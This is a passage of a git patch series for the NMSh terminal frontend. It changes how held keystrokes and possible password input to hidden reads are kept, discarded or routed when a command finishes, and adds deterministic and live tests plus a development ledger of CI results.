this.done) break; await new Promise<void>(done => { this.setTimer(done, FOLLOW_UP_MS); }); } - if (this.disposed || !this.running || this.done) return 'idle'; - if (this.request?.mode === 'hidden') return 'hidden'; - if (!seen) return 'unknown'; - return seen.canonical && !seen.echo ? 'hidden' : 'visible'; + if (this.disposed) return 'idle'; + // Seen hidden input is reported even when the command finished during the look (#436's done): the typing may have + // been a password for it, and the frontend then discards it rather than run it as the next command. + if (this.request?.mode === 'hidden' || (seen && seen.canonical && !seen.echo)) return 'hidden'; + // Done (its prompt hooks run) or over: the shell owns typing again. + if (!this.running || this.done) return 'idle'; + return seen ? 'visible' : 'unknown'; } dispose(): void { @@ -279,7 +282,9 @@ export class InputWatch extends EventEmitter<InputWatchEvents> { const probing = (async () => { try { sample = await probe({tty}); } catch { sample = undefined; } })(); this.probing = probing; try { await probing; } finally { this.probing = undefined; } - if (this.disposed || !this.running || this.done) return undefined; + if (this.disposed || !this.running) return undefined; + // The command finished during the probe: nothing is applied or scheduled, but the sample is still evidence. + if (this.done) return sample; if (generation === this.generation && sample) this.apply(sample, this.now()); this.schedule(); return sample; diff --git a/tests/inputOwnershipDone.test.ts b/tests/inputOwnershipDone.test.ts new file mode 100644 index 00000000..a067af18 --- /dev/null +++ b/tests/inputOwnershipDone.test.ts @@ -0,0 +1,246 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import type {QueueOp} from '../src/session/CommandQueue.js'; +import {InputWatch} from '../src/session/InputWatch.js'; +import type {InputRequest, InputState, LookResult} from '../src/session/inputState.js'; +import type {TerminalSample} from '../src/session/terminalProbe.js'; +import {stripAnsi} from '../src/util/text.js'; +import {executionFrameFixture} from './support/executionTimelineFrames.js'; + +/** + * #426 (#433) with #436 (#437). Keys typed while NMSh cannot yet tell who reads them are held for a look; the shell's + * `done` marker says the command finished while its prompt hooks still run, before the prompt itself arrives. Held + * typing must then settle as typing for a command that ended: a possible password or a reply is discarded, never + * shown, queued, sent or run; only plain type-ahead is kept for the next command. Evidence of hidden input is never + * lost because the command finished during the look. Stale questions, interrupts, process exit and observations + * that arrive late change none of this. + * + * Deterministic: looks are promises the test settles, samples are given by the test, timers are mocked. No shell runs. + */ + +const SECRET = 'QSECRETQ'; +const SLOW_MS = 800; +const hiddenModes = {canonical: true, echo: false, signals: true}; +const lineModes = {canonical: true, echo: true, signals: true}; +const settled = () => new Promise(done => setImmediate(done)); +const turns = async () => { for (let index = 0; index < 4; index += 1) await Promise.resolve(); }; + +// ------------------------------------------------------------------ the session's watch + +function watchWith(probe: () => Promise<TerminalSample>) { + let probes = 0; + const changes: InputState[] = []; + const watch = new InputWatch({probe: () => { probes += 1; return probe(); }, tty: () => '/dev/ttys9'}); + watch.on('change', state => changes.push(state)); + return {watch, changes, probes: () => probes}; +} + +test('watch: once the shell says the command is done, a look answers idle and never probes', async () => { + const {watch, changes, probes} = watchWith(async () => ({modes: lineModes, foreground: [{pid: 1, state: 'S+', cpuMs: 1, command: 'make'}]})); + try { + watch.onExec('make', 0); + watch.onDone(10); + assert.equal(await watch.lookNow(), 'idle', 'the shell owns typing again'); + assert.equal(probes(), 0, 'its prompt hooks are not sampled'); + assert.ok(changes.every(state => !state.request)); + } finally { watch.dispose(); } +}); + +test('watch: hidden input seen by a look that the command finished during is still reported hidden, never applied', async () => { + let resolve!: (sample: TerminalSample) => void; + const {watch, changes} = watchWith(() => new Promise<TerminalSample>(done => { resolve = done; })); + try { + watch.onExec('read -rs -t 1 pw', 0); + const looking = watch.lookNow(); + await turns(); + // The read gave up and the shell's hooks began while the probe was under way; the probe had seen echo off. + watch.onDone(50); + resolve({modes: hiddenModes, foreground: [{pid: 1, state: 'S+', cpuMs: 1, command: 'zsh'}]}); + assert.equal(await looking, 'hidden', 'the evidence of a possible password is not dropped'); + assert.equal(watch.state.request, undefined, 'but no question is reported for a command that finished'); + assert.ok(changes.every(state => !state.request)); + assert.equal(await watch.lookNow(), 'idle', 'a later look says the command is over'); + } finally { watch.dispose(); } +}); + +test('watch: visible evidence from a look the command finished during answers idle; the next command is watched again', async () => { + let resolve!: (sample: TerminalSample) => void; + const {watch, changes, probes} = watchWith(() => new Promise<TerminalSample>(done => { resolve = done; })); + try { + watch.onExec('make', 0); + const looking = watch.lookNow(); + await turns(); + watch.onDone(50); + // A slow prompt hook: line settings, echo on, the shell holding its terminal (zsh and Bash show exactly this). + resolve({modes: lineModes, foreground: [{pid: 1, state: 'Ss+', cpuMs: 1, command: 'zsh'}]}); + assert.equal(await looking, 'idle'); + assert.equal(watch.state.request, undefined, 'a hook is never a question'); + assert.ok(changes.every(state => !state.request)); + watch.onPrompt(60); + watch.onExec('read -s x', 70); + const next = watch.lookNow(); + await turns(); + resolve({modes: hiddenModes, foreground: [{pid: 2, state: 'S+', cpuMs: 1, command: 'zsh'}]}); + assert.equal(await next, 'hidden', 'the next command is looked at afresh'); + assert.equal(probes(), 2); + } finally { watch.dispose(); } +}); + +// ------------------------------------------------------------------ the frontend's hold + +function fixture() { + const frame = executionFrameFixture(100, 30); + const written: string[] = []; + const queueOps: QueueOp[] = []; + const submitted: string[] = []; + let interrupts = 0; + Object.defineProperty(frame.session, 'write', {value: (data: string) => { written.push(data); }, configurable: true}); + Object.defineProperty(frame.session, 'interrupt', {value: () => { interrupts += 1; }, configurable: true}); + const originalQueue = frame.session.queue.bind(frame.session); + Object.defineProperty(frame.session, 'queue', {value: (op: QueueOp) => { queueOps.push(op); originalQueue(op); }, configurable: true}); + Object.defineProperty(frame.app, 'submit', {value: async () => { submitted.push(frame.app['editor'].text); frame.app['editor'].clear(); }, configurable: true}); + let looks = 0; + let settle: (result: LookResult | undefined) => void = () => {}; + Object.defineProperty(frame.session, 'lookInput', {value: () => { + looks += 1; + return new Promise<LookResult | undefined>(resolve => { settle = resolve; }); + }, configurable: true}); + const type = (text: string) => { for (const char of text) frame.app['onInput'](char); }; + const text = () => frame.app['editor'].text as string; + const adds = () => queueOps.filter(op => op.op === 'add').map(op => (op as {text: string}).text); + const screen = () => frame.capture().frame.rows.map(line => stripAnsi(line)).join('\n'); + const transcript = () => (frame.app['output'].transcript().lines as Array<Array<{text?: string} | null>>) + .map(line => line.map(cell => cell?.text ?? ' ').join('')).join('\n'); + const state = (request?: InputRequest) => frame.session.emit('inputState', {...(request ? {request} : {}), timing: {waitedMs: 0, waits: 0}}); + /** Nothing anywhere a person, a log or the shell could read holds the secret. */ + const nowhere = (secret: string, what: string) => { + assert.equal(screen().includes(secret), false, `${what}: not on screen`); + assert.equal(text().includes(secret), false, `${what}: not in the composer`); + assert.equal(adds().some(entry => entry.includes(secret)), false, `${what}: not queued`); + assert.equal(submitted.some(entry => entry.includes(secret)), false, `${what}: not run as a command`); + assert.equal(written.some(entry => entry.includes(secret)), false, `${what}: not written to the terminal`); + assert.equal(transcript().includes(secret), false, `${what}: not in the transcript`); + }; + return {...frame, written, submitted, type, text, adds, screen, transcript, state, nowhere, + enter: () => frame.app['onInput']('\r'), interrupts: () => interrupts, looks: () => looks, + answer: (result: LookResult | undefined) => settle(result)}; +} + +test('done before the prompt: a reply the look saw as hidden is discarded, never drawn, queued, sent or run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -rs -t 1 pw'); + f.type(SECRET); + f.enter(); + f.nowhere(SECRET, 'held'); + // The look saw echo off, but the read had already given up: no question ever arrives; then the shell says done. + f.answer('hidden'); + await settled(); + assert.equal(f.looks(), 2, 'hidden with no question: one more look'); + f.nowhere(SECRET, 'looking again'); + f.answer('idle'); + await settled(); + f.nowhere(SECRET, 'after done'); + assert.match(f.transcript(), /discarded, not run/u, 'a note says what happened, without the text'); + f.complete(1); + await settled(); + f.nowhere(SECRET, 'after the prompt'); + assert.deepEqual(f.adds(), []); + assert.deepEqual(f.submitted, []); + } finally { f.dispose(); } +}); + +test('done before the prompt: typing held past the slow mark is discarded, never run', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('./deploy.sh'); + f.type('yes'); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + f.answer('idle'); + await settled(); + assert.equal(f.text(), '', 'not left in the composer'); + assert.deepEqual(f.adds(), [], 'not queued'); + f.complete(0); + await settled(); + assert.deepEqual(f.submitted, [], 'never run: NMSh never learned whether it was a reply'); + assert.deepEqual(f.written, []); + assert.match(f.transcript(), /discarded, not run/u); + } finally { f.dispose(); } +}); + +test('done before the prompt: plain type-ahead the look answered quickly is kept for the next command, once', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('make'); + f.type('echo next'); + f.answer('idle'); + await settled(); + assert.equal(f.text(), 'echo next', 'the next command\'s draft, visible'); + assert.deepEqual(f.written, [], 'nothing went to the program that finished'); + f.complete(0); + await settled(); + assert.equal(f.text(), 'echo next', 'it survives the prompt'); + f.enter(); + assert.deepEqual(f.submitted, ['echo next'], 'and runs once, on the person\'s Enter'); + assert.deepEqual(f.adds(), []); + assert.deepEqual(f.written, []); + } finally { f.dispose(); } +}); + +test('interrupt: Ctrl+C discards held typing; done, a late answer and a stale question after it change nothing', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -rs pw'); + const asked = Date.now(); + f.tick(200); + f.type(SECRET); + f.enter(); + f.app['onInput']('\u0003'); + f.tick(20); + assert.equal(f.interrupts(), 1); + f.nowhere(SECRET, 'after Ctrl+C'); + // The interrupted read's late evidence: the look answers, and the question it ended is reported after the stop. + f.answer('hidden'); + f.state({since: asked, confidence: 'confirmed', mode: 'hidden'}); + await settled(); + f.nowhere(SECRET, 'after the late reports'); + // What is typed after Ctrl+C is type-ahead for the prompt: never held, never routed to the read that ended. + f.type('echo Y'); + f.state(); + f.complete(130); + await settled(); + assert.equal(f.text(), 'echo Y'); + f.enter(); + assert.deepEqual(f.submitted, ['echo Y']); + assert.deepEqual(f.written, []); + f.nowhere(SECRET, 'at the end'); + } finally { f.dispose(); } +}); + +test('process exit with the look unanswered, then late evidence: nothing reaches the next prompt or the next command', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sudo -k true', 'Password:'); + f.type(SECRET); + f.enter(); + t.mock.timers.tick(SLOW_MS + 100); + f.complete(1); + await settled(); + f.nowhere(SECRET, 'after exit'); + assert.match(f.transcript(), /discarded, not run/u); + // The old look answers after the command is gone, then a new command starts: neither sees the old typing. + f.answer('hidden'); + await settled(); + f.begin('cat'); + f.state({since: Date.now(), confidence: 'likely', mode: 'line'}); + await settled(); + f.nowhere(SECRET, 'after the late answer and the next command'); + assert.deepEqual(f.written, []); + } finally { f.dispose(); } +}); From 815ecc528418cd6ca3ea2f493ffb347f987ac181 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 05:57:50 +0530 Subject: [PATCH 070/157] Tests: wait for NMSh's journal, not screen text, before asserting a command ran typingAfterRead waited for NEXT-<tag> followed by Completed: the queued command's row and an older redrawn Completed matched before the read printed its answer (macOS CI on #442; reproduced on dev with a read whose output comes 1 s late). The live Frontend now exposes the journal count run() already uses; typingAfterRead and commandQueueLive wait for the command's completed record, which the frontend writes once the shell's prompt returns. --- tests/commandQueueLive.test.ts | 11 +++++++---- tests/helpers/liveFrontend.ts | 7 +++++++ tests/typingAfterRead.test.ts | 12 +++++++++--- 3 files changed, 23 insertions(+), 7 deletions(-) diff --git a/tests/commandQueueLive.test.ts b/tests/commandQueueLive.test.ts index 898ef0a3..4deeb544 100644 --- a/tests/commandQueueLive.test.ts +++ b/tests/commandQueueLive.test.ts @@ -203,12 +203,15 @@ test('live: a program waiting for a line gets Enter; Ctrl+Q queues; Ctrl+S sends await frontend.waitFor(/[◆◇] (?:Probably w|W)aiting for input[\s\S]*Name:/u, mark); await frontend.waitFor(/Type your answer · Enter sends it to zsh · Ctrl\+Q queues a command/u, mark); // The output (QUEUED-AFTER-READ) never appears in the command's own text, which the queue list shows while it waits. - frontend.pty.write('printf "QUEUED-%s\\n" AFTER-READ\u0011'); + const queued = 'printf "QUEUED-%s\\n" AFTER-READ'; + const before = await frontend.completions(queued); + frontend.pty.write(`${queued}\u0011`); await frontend.waitFor(/≡ 1 queued|≡ Queued \(1\)/u, mark); frontend.pty.write('alice\r'); - // Its output, then its completion row, which NMSh draws only once the shell's prompt has returned: cat is typed at an - // idle prompt, not queued behind a command that is still finishing (#441's CI run hit that window). - await frontend.waitFor(/got=alice[\s\S]*QUEUED-AFTER-READ[\s\S]*Completed · [^·\n]+ · from queue/u, mark, 20_000); + await frontend.waitFor(/got=alice[\s\S]*QUEUED-AFTER-READ/u, mark, 20_000); + // Then its journal record, written once the shell's prompt has returned: cat is typed at an idle prompt, not queued + // behind a command that is still finishing (#441's CI run hit that window). + await until(async () => await frontend.completions(queued) > before, 20_000, `completed journal for ${queued}`); assert.doesNotMatch(drawn(frontend, mark), /got=printf/u, 'the queued command never reached read'); // cat reads stdin with no prompt. macOS cannot tell it waits; Linux's kernel report can, after the first look. Either diff --git a/tests/helpers/liveFrontend.ts b/tests/helpers/liveFrontend.ts index b620a957..29e1b13c 100644 --- a/tests/helpers/liveFrontend.ts +++ b/tests/helpers/liveFrontend.ts @@ -174,6 +174,13 @@ export class Frontend { get mark(): number { return this.output.length; } + /** + * How many times NMSh has journaled this exact command as completed. The frontend writes that record when the + * shell's prompt returns, so waiting for it to grow is a deterministic end of the command, unlike screen text + * (a queue row or an older redrawn "Completed" can match before the command has finished). + */ + completions(command: string): Promise<number> { return this.completedCount(command); } + async waitFor(pattern: RegExp, from = 0, timeoutMs = 20000): Promise<void> { const started = Date.now(); try { diff --git a/tests/typingAfterRead.test.ts b/tests/typingAfterRead.test.ts index 6daa58ab..4f92b004 100644 --- a/tests/typingAfterRead.test.ts +++ b/tests/typingAfterRead.test.ts @@ -57,11 +57,17 @@ for (const shell of ['fish', 'zsh', 'bash'] as const) { // with no visible question, Enter queues the next command (that is the queue); an answer is only an answer // once the question is open. if (shell !== 'fish') await frontend.waitFor(new RegExp(`[Ww]aiting for input[^\\n]*[\\s\\S]*Name-${tag}:`, 'u'), mark); + const next = `echo NEXT-${tag}`; + const before = await frontend.completions(next); frontend.pty.write(`v${tag}\r`); if (mode === 'after') await frontend.waitFor(new RegExp(`got=v${tag}[\\s\\S]*Completed`, 'u'), mark); - frontend.pty.write(`echo NEXT-${tag}\r`); - await frontend.waitFor(new RegExp(`NEXT-${tag}[\\s\\S]*Completed`, 'u'), mark, 10_000); - assert.match(strip(frontend.output.slice(mark)), new RegExp(`got=v${tag}`, 'u'), 'the answer reached read'); + frontend.pty.write(`${next}\r`); + // NMSh's journal records the next command once the shell's prompt has returned after it. Screen text could match + // earlier: the queued command's row followed by an older "Completed" in a later redraw (seen in CI on #442). + await until(async () => await frontend.completions(next) > before, 10_000, `completed journal for ${next}`); + const drawn = strip(frontend.output.slice(mark)); + assert.match(drawn, new RegExp(`got=v${tag}`, 'u'), 'the answer reached read'); + assert.match(drawn, new RegExp(`(?<!echo )NEXT-${tag}`, 'u'), 'and the next command ran'); } } } finally { stop(); await sandbox.dispose(); } From e391bcb0c62f48b2e16e0ad27116e9318623323d Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:24:15 +0530 Subject: [PATCH 071/157] Input ownership: type-ahead after answering a hidden question is kept After NMSh sends an answer to a hidden read, typing that follows is held for a look; that look can still see the answered question (echo off until the read returns). Counting it as possible password input discarded the next command when the read then finished: caught on the v0.22 candidate in CI (zsh read -s, then echo NEXT, never run). Hidden input seen after this command's hidden question was answered is now that question, not new evidence. A reply typed before any answer is still discarded, and a new hidden question still routes the typing. --- src/app/TerminalApp.ts | 8 +++++++- tests/inputOwnershipDone.test.ts | 26 ++++++++++++++++++++++++++ 2 files changed, 33 insertions(+), 1 deletion(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index a3b8eb14..19362de0 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -872,6 +872,8 @@ export class TerminalApp { * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). */ private ownershipLook?: OwnershipHold; + /** The running command (its startId) whose hidden question NMSh has sent an answer to: later typing is type-ahead, not that reply. */ + private hiddenAnsweredFor?: number; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -12010,6 +12012,7 @@ export class TerminalApp { bound.unref?.(); const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); slow.unref?.(); + const afterHiddenAnswer = this.hiddenAnsweredFor === running.startId; const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, ended: false, sawHidden: false, settle}; this.ownershipLook = hold; // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: @@ -12020,7 +12023,9 @@ export class TerminalApp { const look = () => void this.lookWhenStarted(running.startId, deadline).then(answered, () => answered('unknown')); const answered = (result: LookResult | undefined) => { if (settled) return; - if (result === 'hidden') hold.sawHidden = true; + // Hidden input seen after NMSh already answered this command's hidden question is that question, still open + // until the read returns: the typing that follows the answer is type-ahead, not a reply. + if (result === 'hidden' && !afterHiddenAnswer) hold.sawHidden = true; // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing // held by a command that ended apply now, not those for one still running. if (result === 'idle') hold.ended = true; @@ -12053,6 +12058,7 @@ export class TerminalApp { const bytes = directKeyBytes(key); if (!bytes) return; const mode = this.inputState?.request?.mode; + if (mode === 'hidden' && /[\r\n]/u.test(bytes) && this.running) this.hiddenAnsweredFor = this.running.startId; this.session.write(bytes); // One key answers a key read; Enter ends a hidden line (as the session's watch also decides). if (mode === 'key' || /[\r\n]/u.test(bytes)) this.answerSent(); diff --git a/tests/inputOwnershipDone.test.ts b/tests/inputOwnershipDone.test.ts index a067af18..63a9f878 100644 --- a/tests/inputOwnershipDone.test.ts +++ b/tests/inputOwnershipDone.test.ts @@ -191,6 +191,32 @@ test('done before the prompt: plain type-ahead the look answered quickly is kept } finally { f.dispose(); } }); +test('type-ahead after answering a hidden question is kept when the command ends, though a look still sees that question', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s x'); + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.type(SECRET); + f.enter(); + assert.equal(f.written.join(''), `${SECRET}\r`, 'the answer went to the hidden read'); + f.tick(20); + // The next command, typed at once: the read has its answer but has not returned yet. + f.type('echo NEXT'); + f.enter(); + // A look still sees the question just answered (echo off), then the shell says the command is done. + f.answer('hidden'); + await settled(); + f.answer('idle'); + await settled(); + f.complete(0); + await settled(); + assert.deepEqual(f.adds(), ['echo NEXT'], 'the type-ahead runs next, once; it is not discarded'); + f.nowhere(SECRET, 'the answer itself'); + } finally { f.dispose(); } +}); + test('interrupt: Ctrl+C discards held typing; done, a late answer and a stale question after it change nothing', async t => { const f = fixture(); try { From 807d3c030608b6a4f99401be612f139819ecbd35 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:27:52 +0530 Subject: [PATCH 072/157] Input ownership: the hidden-answer grace is bounded and ends at a newer question Review of the previous commit: remembering the answer for the rest of the command let a second hidden question (read -s a; read -s -t 1 b, or a sudo retry) have its reply treated as type-ahead and run when the command ended. A look that still sees hidden input now counts as the answered question only for typing begun within 1 s of the answer, and a newer question reported by the session ends that at once. --- src/app/TerminalApp.ts | 20 +++++++++---- tests/inputOwnershipDone.test.ts | 50 ++++++++++++++++++++++++++++++++ 2 files changed, 65 insertions(+), 5 deletions(-) diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 19362de0..14435bf2 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -429,6 +429,8 @@ const STOP_TYPE_AHEAD_MS = 2000; const OWNERSHIP_LOOK_MS = 5000; /** A look still running after this long (a loaded machine) says so in the composer: the typing is kept, not lost. */ const OWNERSHIP_LOOK_SLOW_MS = 800; +/** Typing begun this soon after an answer to a hidden question is type-ahead for what comes next, not that reply. */ +const HIDDEN_ANSWER_TYPE_AHEAD_MS = 1000; /** How held keys end: on the evidence (route), dropped, sent to the program as typed, or shown in the composer. */ type HoldSettle = 'route' | 'discard' | 'send' | 'reveal'; /** Keys held while NMSh looks at whether the running command reads input (#426). */ @@ -872,8 +874,11 @@ export class TerminalApp { * hidden reply is never drawn) and an Enter that would queue (a reply never becomes a queued command). */ private ownershipLook?: OwnershipHold; - /** The running command (its startId) whose hidden question NMSh has sent an answer to: later typing is type-ahead, not that reply. */ - private hiddenAnsweredFor?: number; + /** + * When NMSh last sent an answer to the running command's hidden question. Typing that begins right after it is + * type-ahead, and a look that still sees that question is not new evidence; a newer question ends this at once. + */ + private hiddenAnswer?: {startId: number; at: number}; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -11878,6 +11883,8 @@ export class TerminalApp { private onInputState(state: InputState): void { // A state for a finished run (a late message) never resurrects it. if (!this.running) return; + // A question newer than the hidden one NMSh answered: typing from now on may be its reply, not type-ahead. + if (state.request && this.hiddenAnswer && state.request.since > this.hiddenAnswer.at) this.hiddenAnswer = undefined; // A question that began before Ctrl+C or Ctrl+Z is the one the stop ended, reported late (the session sampled it // before it saw the stop): while typing is type-ahead for the prompt, it routes nothing to the program (#436). If it // is still the session's word when that window closes (the program kept reading through the stop), it applies @@ -12012,7 +12019,10 @@ export class TerminalApp { bound.unref?.(); const slow = setTimeout(() => { hold.slow = true; this.render(); }, OWNERSHIP_LOOK_SLOW_MS); slow.unref?.(); - const afterHiddenAnswer = this.hiddenAnsweredFor === running.startId; + // Only typing begun just after the answer, with no newer question since, is type-ahead (#433 review): a second hidden + // question that NMSh has not reported yet must still count its reply as possibly a password. + const startedAt = Date.now(); + const afterHiddenAnswer = () => this.hiddenAnswer?.startId === running.startId && startedAt - this.hiddenAnswer.at <= HIDDEN_ANSWER_TYPE_AHEAD_MS; const hold: OwnershipHold = {keys, startId: running.startId, answering: this.answersByDefault(), slow: false, uncertain: false, ended: false, sawHidden: false, settle}; this.ownershipLook = hold; // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: @@ -12025,7 +12035,7 @@ export class TerminalApp { if (settled) return; // Hidden input seen after NMSh already answered this command's hidden question is that question, still open // until the read returns: the typing that follows the answer is type-ahead, not a reply. - if (result === 'hidden' && !afterHiddenAnswer) hold.sawHidden = true; + if (result === 'hidden' && !afterHiddenAnswer()) hold.sawHidden = true; // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing // held by a command that ended apply now, not those for one still running. if (result === 'idle') hold.ended = true; @@ -12058,7 +12068,7 @@ export class TerminalApp { const bytes = directKeyBytes(key); if (!bytes) return; const mode = this.inputState?.request?.mode; - if (mode === 'hidden' && /[\r\n]/u.test(bytes) && this.running) this.hiddenAnsweredFor = this.running.startId; + if (mode === 'hidden' && /[\r\n]/u.test(bytes) && this.running) this.hiddenAnswer = {startId: this.running.startId, at: Date.now()}; this.session.write(bytes); // One key answers a key read; Enter ends a hidden line (as the session's watch also decides). if (mode === 'key' || /[\r\n]/u.test(bytes)) this.answerSent(); diff --git a/tests/inputOwnershipDone.test.ts b/tests/inputOwnershipDone.test.ts index 63a9f878..ac3b832b 100644 --- a/tests/inputOwnershipDone.test.ts +++ b/tests/inputOwnershipDone.test.ts @@ -217,6 +217,56 @@ test('type-ahead after answering a hidden question is kept when the command ends } finally { f.dispose(); } }); +test('review: a second hidden question after the first answer: its reply is never run when the command ends', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('read -s a; read -s -t 1 b'); + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.type('first'); + f.enter(); + // The second read asks with no prompt; NMSh has not reported it yet when its reply is typed, well after the first. + f.tick(1500); + f.type(SECRET); + f.enter(); + f.answer('hidden'); + await settled(); + f.answer('idle'); + await settled(); + f.complete(1); + await settled(); + f.nowhere(SECRET, 'the second reply'); + assert.match(f.transcript(), /discarded, not run/u); + } finally { f.dispose(); } +}); + +test('review: a new hidden question reported after the answer ends the grace at once', async t => { + const f = fixture(); + try { + t.mock.timers.enable({apis: ['setTimeout']}); + f.begin('sudo -k true', 'Password:'); + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + f.tick(200); + f.type('wrong'); + f.enter(); + f.tick(20); + // "Sorry, try again." and a new question, reported and then closed before the next typing (the probe lagged). + f.state({since: Date.now(), confidence: 'confirmed', mode: 'hidden'}); + f.state(); + f.tick(20); + f.type(SECRET); + f.enter(); + f.answer('hidden'); + await settled(); + f.answer('idle'); + await settled(); + f.complete(1); + await settled(); + f.nowhere(SECRET, 'the retry'); + } finally { f.dispose(); } +}); + test('interrupt: Ctrl+C discards held typing; done, a late answer and a stale question after it change nothing', async t => { const f = fixture(); try { From c79c6e29e5061a37d6656ffad05bd4f0af5177e3 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:37:35 +0530 Subject: [PATCH 073/157] v0.22 ledger: integration candidate verified, crash recovery, test-resource findings The candidate (all nine PRs in dependency order) is green in CI on 567cf533 after two #437 follow-ups it surfaced. Records #442 and #443, the stacked #437, the conflict rule, the scratch combined /view editor test, what was recovered after the 2026-10-19 kernel panic, and the findings for the planned test-resource pass. --- docs/development/v022-ledger.md | 65 ++++++++++++++++++++++++++++++++- 1 file changed, 63 insertions(+), 2 deletions(-) diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index 970e2072..fbaed11a 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -22,8 +22,10 @@ acceptance: [v0.22 design](../design/v022-daily-use.md). Automated results here | --- | --- | --- | --- | --- | | 0 | Design, ledger, NL proposal | #431, #432 | `docs/v022-design` / #435 (this ledger's PR) | Draft PR | | R1 | Input ownership under load | #426 | `fix/v022-input-ownership-look` / #433 | Draft PR; redesigned after review (held keys never fall through on a timeout) | -| R3 | Type-ahead eaten after Ctrl+C or a slow prompt hook | #436 | `fix/v022-ctrlc-type-ahead` / #437 | Draft PR; two mechanisms reproduced and fixed, the race family not declared solved | +| R3 | Type-ahead eaten after Ctrl+C or a slow prompt hook | #436 | `fix/v022-ctrlc-type-ahead` / #437, based on #433 | Draft PR; two mechanisms reproduced and fixed, the race family not declared solved; carries the combined #433 + #437 fix | +| T1 | Live tests wait for NMSh's journal, not screen text | — | `fix/v022-queue-live-sync` / #442 | Draft PR, test only; CI green | | R2 | Fish keys after a handed-over read | #356 | — | Not reproduced (32/32 at 8×); left open, deferred | +| — | Fish 3.7 on Linux: output and markers from Fish sometimes lost | #443 | — | Seen 3 times in CI; not reproduced; cause unverified | | U1 | `/view` → open in editor | #366 | `feature/v022-view-open-editor` / #434 | Draft PR | | D1 | History browsing, one step per entry | #389 | `feature/v022-history-browse` / #438 | Draft PR (approved as D1) | | D1b | `History n/N` on a free composer rule | #389 | `feature/v022-history-position` / #441, based on #438 | Draft PR | @@ -82,8 +84,11 @@ Full canonical `npm run verify` (local, macOS 27, T7 scratch), with the load ave | #434 | `5d81d93e` | 3,148 tests, 3,146 pass, 2 skipped, 0 failed (load 4–13) | | #438 | `29d73a69` | 3,143 pass, 1 live timeout (load 9–20); 16/16 rerun at load 5 | | #439 | `4ab9f44a` | 3 Setup coverage failures (fixed in `898fbc33`), 2 live timeouts (16/16 rerun); a fresh full run is pending | -| #440 | `c1a30017` | pending | +| #437 | `83135298` (again) | 9 failures, none in #437's logic: 7 startup or teardown timeouts (including #437's own Bash slow-hook test, which stalled before the shell started), 1 frontend that did not exit, and the known #426 queued answer (this branch does not contain #433). Not clean evidence; a rerun is owed | +| #440 | `c1a30017` | not valid evidence: 113 failures under memory exhaustion (about 100 MB free, heavy swap), almost all startup timeouts plus starved benchmarks; a rerun is owed | | #441 | `48f70e96` | pending; the new tests and nearby suites pass | +| #437 | `e2776680` (with #433) | combined: deterministic input suites 61/61, live `promptHookLive` 2/2 and `inputOwnershipLive` 6/6 (load 15–30, under 100 MB free); full run not repeated under memory pressure | +| #442 | `815ecc52` | `commandQueueLive` 19/19, `typingAfterRead` 3/3, forced-delay variants pass; CI green | - **CI:** - #434, #437, #438, #439 and #440: green. @@ -103,6 +108,62 @@ Full canonical `npm run verify` (local, macOS 27, T7 scratch), with the load ave - Spotlight indexing (`mds_stores`) and load above about 20 stall live-test startup on every build. - Live tests started while another full run is going time out waiting for the first prompt. +- **#441 CI (`48f70e96`)** failed two live tests. Both are explained; neither is caused by #441. + - **macOS:** `inputOwnershipLive` zsh, the answer to a read queued: #426's signature, and #441's base does not contain #433. The same failure appears in CI on `feature/v021-themes` (`7d8e1529`) and `stabilize/v0.19.0` (`bcc8e760`). + - **Ubuntu:** `commandQueueLive` never saw `Running cat`. A race in the test, reproduced on `a8b383c2` and on #441: its wait matched the queued command's text in the queue list before that command's prompt returned (53→83 ms on `dev`, 701→901 ms on #441), so `cat` was queued and the queue row replaced `Running cat`. Fixed in #442. +- **#442 found the same class of race in `typingAfterRead`** (macOS CI): the wait matched before NMSh's journal recorded the command (6/6 rounds on `dev`), reproduced with a read whose output comes 1 s late. #442 makes both tests wait for the journal record; CI green on `815ecc52`. +- **#437 CI on the combined head (`e2776680`)** failed `typingAfterRead` (the race #442 fixes) and Ubuntu Fish `inputOwnershipLive` (#443: Fish's reader 